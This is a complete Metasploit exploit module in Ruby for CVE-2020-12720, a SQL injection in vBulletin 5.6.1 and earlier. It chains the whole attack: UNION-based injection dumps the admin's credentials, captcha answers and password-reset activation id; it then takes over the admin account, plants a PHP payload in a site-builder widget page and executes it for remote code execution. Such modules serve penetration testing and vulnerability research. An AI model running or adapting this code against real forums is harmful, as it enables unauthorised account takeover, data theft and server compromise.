## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::AutoCheck HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] } def initialize(info = {}) super( update_info( info, 'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection', 'Description' => %q{ This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier This module uses the getIndexableContent vulnerability to reset the administrators password, it then uses the administrators login information to achieve RCE on the target. This module has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Charles Fol ', # (@cfreal_) CVE 'Zenofex ', # (@zenofex) PoC and Metasploit module ], 'References' => [ ['CVE', '2020-12720'], ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => '2020-03-12', 'DefaultTarget' => 0 ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']), OptInt.new('NODE', [false, 'Valid Node ID']), OptInt.new('MINNODE', [true, 'Valid Node ID', 1]), OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]), OptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false]) ]) end # Performs SQLi attack def do_sqli(node_id, tbl_prfx, field, table, condition) where_cond = condition.nil? || condition == '' ? '' : "where #{condition}" injection = " UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 " injection << "from #{tbl_prfx}#{table} #{where_cond}--" print_status("Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'), 'vars_post' => { 'nodeId[nodeid]' => "#{node_id}#{injection}" } }) return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext'] parsed_resp['rawtext'] end # Gets human verification token def get_hv_hash print_status("Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'), 'vars_post' => { 'securitytoken' => 'guest' } }) return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash'] hv_hash = parsed_resp['hash'] print_good("Retrieved '#{hv_hash}' human verification token.") hv_hash end # Gets the human verification (question based) answer def get_hv_ques_answer(node_id, tbl_prfx, questionid) print_status("Using HV token '#{questionid}' and SQLinjection to determine HV question answer.") hv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', "questionid = '#{questionid}'") if questionid.nil? return nil end print_good("Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.") hv_answer end # Gets the human verification (image based) answer def get_hv_answer(node_id, tbl_prfx, hv_hash) print_status("Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.") hv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', "hash = '#{hv_hash}'") if hv_answer.nil? return nil end print_good("Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.") hv_answer end # Gets the prefix to the SQL tables used in vbulletin install def get_table_prefix(node_id) print_status('Attempting to determine the vBulletin table prefix.') table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'") unless table_name && table_name.split('language').index fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.') end tbl_prefix = table_name.split('language')[0] print_good("Sucessfully retrieved table to get prefix from #{table_name}.") tbl_prefix end # Sends the request to begin forgot password request def begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image') print_status("Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.") if type == 'Question' hv_field_name1 = 'humanverify[input]' hv_field_name2 = 'humanverify[hash]' elsif type == 'Recaptcha2' hv_field_name1 = 'unused' hv_field_name2 = 'humanverify[g-recaptcha-response]' else hv_field_name1 = 'humanverify[input]' hv_field_name2 = 'humanverify[hash]' end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'), 'vars_post' => { 'email' => admin_email.to_s, hv_field_name1.to_s => hv_answer.to_s, hv_field_name2.to_s => hv_hash.to_s, 'securitytoken' => 'guest' } }) return false unless res && res.code == 200 parsed_resp = res.get_json_document return false if parsed_resp['response'] && parsed_resp['response']['errors'] true end # Attempts to login to vBulletin install def login(user, pass, type = '') print_status("Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'), 'vars_post' => { 'logintype': type.to_s, 'username' => user.to_s, 'password' => pass.to_s, 'securitytoken' => 'guest' } }) return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success'] print_good("Successfully logged in as #{user} #{type}.") [res.get_cookies, parsed_resp['newtoken']] end # Gets an administrator's info from the database using SQLi def get_admin_info(node_id, tbl_prefix) uid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil) username = do_sqli(node_id, tbl_prefix, 'username', 'user', "userid = '#{uid}'") token = do_sqli(node_id, tbl_prefix, 'token', 'user', "userid = '#{uid}'") email = do_sqli(node_id, tbl_prefix, 'email', 'user', "userid = '#{uid}'") unless uid && username && token && email return [nil, nil, nil, nil] end [uid, username, token, email] end # Activates vBulletin site builder def activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar) print_status("Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'), 'cookie' => [cookie_jar], 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { 'pageid' => pageid.to_s, 'nodeid' => nodeid.to_s, 'userid' => userid.to_s, 'loadMenu' => 'false', 'isAjaxTemplateRender' => 'true', 'isAjaxTemplateRenderWithData' => 'true', 'securitytoken' => sec_token.to_s } }) return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors'] print_good('Successfully enabled site-builder functionality.') true end # Creates new widget instance def new_widget_instance(sec_token, cookie_jar) print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'), 'cookie' => [cookie_jar], 'vars_post' => { 'containerinstanceid' => '0', 'widgetid' => '23', # PHP widget type ID 'pagetemplateid' => '', 'securitytoken' => sec_token.to_s } }) return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid'] print_good('Created new widget instance.') [parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']] end # Saves a new widget to vBulletin. def save_widget(pt_id, wi_id, payload, sec_token, cookie_jar) print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'), 'cookie' => [cookie_jar], 'vars_post' => { 'widgetid' => '23', # PHP widget type ID 'pagetemplateid' => pt_id.to_s, 'widgetinstanceid' => wi_id.to_s, 'data[widget_type]' => '', 'data[title]' => rand_text_alphanumeric(rand(6..16)), 'data[show_at_breakpoints][desktop]' => '1', 'data[show_at_breakpoints][small]' => '1', 'data[show_at_breakpoints][xsmall]' => '1', 'data[hide_title]' => '1', 'data[module_viewpermissions][key]' => 'show_all', 'data[code]' => payload.encoded.to_s, 'securitytoken' => sec_token.to_s } }) return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors'] print_good('Successfully added payload to widget.') true end # Sends request to reset password using activation id. def reset_password(admin_uid, act_id, new_pass) print_status("Sending reset password request to '#{target_uri.path}/auth/reset-password'.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'), 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { 'userid' => admin_uid.to_s, 'activationid' => act_id.to_s, 'new-password' => new_pass.to_s, 'new-password-confirm' => new_pass.to_s, 'securitytoken' => 'guest' } }) unless res && res.code == 200 && res.body.to_s =~ /Logging in/ return nil end print_good("User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.") true end # Deletes a page in vbulletin def delete_page(pageid, login_token, cookie_jar) print_status("Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'), 'cookie' => [cookie_jar], 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { 'pageid' => pageid.to_s, 'securitytoken' => login_token.to_s } }) return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors'] print_good("Successfully deleted page with pageid: #{pageid}") true end # Makes request to execute PHP payload. def exec_payload(rest_url) print_status("Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, rest_url) }) unless res && res.code == 200 return nil end print_good('Request made succesfully, payload should be executing now.') true end # Fetches a human verification question based on hash. def get_hv_question(hash) print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'), 'vars_post' => { 'hash' => hash.to_s } }) unless res && res.code == 200 && res.body.to_s !~ /"errors"/ return nil end res.body.to_s.tr('"', '') end # Saves a new page to the vBulletin install def save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info) print_status("Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'), 'cookie' => [session_info[1]], 'vars_post' => { 'input[ishomeroute]' => '0', 'input[pageid]' => '0', 'input[nodeid]' => nodeid.to_s, 'input[userid]' => userid.to_s, 'input[screenlayoutid]' => '2', 'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)), 'input[displaysections[0]]' => '[]', 'input[displaysections[1]]' => '[]', 'input[displaysections[2]]' => "[{\"widgetId\":\"23\",\"widgetInstanceId\":\"#{wi_id}\"}]", 'input[displaysections[3]]' => '[]', 'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)), 'input[resturl]' => payload_url.to_s, 'input[metadescription]' => rand_text_alphanumeric(rand(5..10)), 'input[pagetemplateid]' => pt_id.to_s, 'url' => normalize_uri(target_uri.path), 'securitytoken' => session_info[0].to_s } }) return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success'] print_good("Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.") parsed_resp['pageid'] end # Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled") def get_hv_type print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType') }) unless res && res.code == 200 return nil end hv_type = res.body.to_s.tr('"', '') print_good("Retrieved HV/captcha type of '#{hv_type}'.") hv_type.to_s.tr("'", '') end # Brute force a nodeid (attack requires a valid nodeid) def brute_force_node min = datastore['MINNODE'] max = datastore['MAXNODE'] if min > max print_error("MINNODE can't be major than MAXNODE.") return nil end for node_id in min..max if exists_node?(node_id) return node_id end end nil end # Checks if a nodeid is valid def exists_node?(id) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'), 'vars_post' => { 'nodeid' => id.to_s } }) unless res && res.code == 200 return nil end return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors'] print_good("Sucessfully found node at id #{id}") true end # Gets a node through BF or user supplied value def get_node if datastore['NODE'].nil? || datastore['NODE'] <= 0 print_status('Brute forcing to find a valid node id.') return brute_force_node end print_status("Checking node id '#{datastore['NODE']}'.") return datastore['NODE'] if exists_node?(datastore['NODE']) nil end # Check function for exploit def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'js', 'login.js') }) return CheckCode::Unknown unless res && res.code == 200 return CheckCode::Safe if res.body.to_s =~ /vBulletin 5\.6\.1 Patch Level 1/ if res.body.to_s =~ /vBulletin ([\.0-9]+)/ if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.6.1') return CheckCode::Safe elsif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.0.0') return CheckCode::Appears end return CheckCode::Detected end CheckCode::Safe end # Performs all exploit functionality def exploit super # Get node_id for requests node_id = get_node fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id # Get vBulletin table prefix table_prfx = get_table_prefix(node_id) fail_with(Failure::UnexpectedReply, 'Could not determine the table prefix for the vBulletin install.') unless table_prfx # Get admin info (email, uid, token) admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx) unless admin_uid && admin_user && admin_token && admin_email fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.') end print_good("Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}") if !datastore['MANUALLOSTPASS'] # Determine HV type hv_type = get_hv_type fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type # Generate HV token and get answer if hv_type == 'Image' && hv_type != 'Disabled' hv_hash = get_hv_hash hv_answer = get_hv_answer(node_id, table_prfx, hv_hash) fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer elsif hv_type == 'Question' && hv_type != 'Disabled' hv_hash = get_hv_hash fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash ques_id = get_hv_answer(node_id, table_prfx, hv_hash) fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id hv_question = get_hv_question(hv_hash) hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id) fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer print_good("Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).") end # Make request to forget my password brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type) # We fail here when the answer to the HV question contains a complex regex or is recaptcha2 fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret end # Get Activation ID for forgot password request from DB activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'") fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id # Make request setting new password new_pass = rand_text_alphanumeric(rand(10..16)) rp_ret = reset_password(admin_uid, activation_id, new_pass) fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret # Login to vBulletin cookie_jar, login_token = login(admin_user, new_pass) fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token # Activate Site Builder (is this necessary?!) actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar) fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret # Login to vBulletin cookie_jar, login_token = login(admin_user, new_pass, 'cplogin') fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token # Create new widget wi_id, pt_id = new_widget_instance(login_token, cookie_jar) fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id # Save modifications to widget sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar) fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret # Add page with widget embedded payload_url = rand_text_alphanumeric(rand(6..10)) session_info = [login_token, cookie_jar] page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info) fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id # Execute php payload print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.") exec_payload(payload_url) # Delete page with widget embedded within it dp_ret = delete_page(page_id, login_token, cookie_jar) print_bad('Could not delete page (cleanup phase).') unless dp_ret end end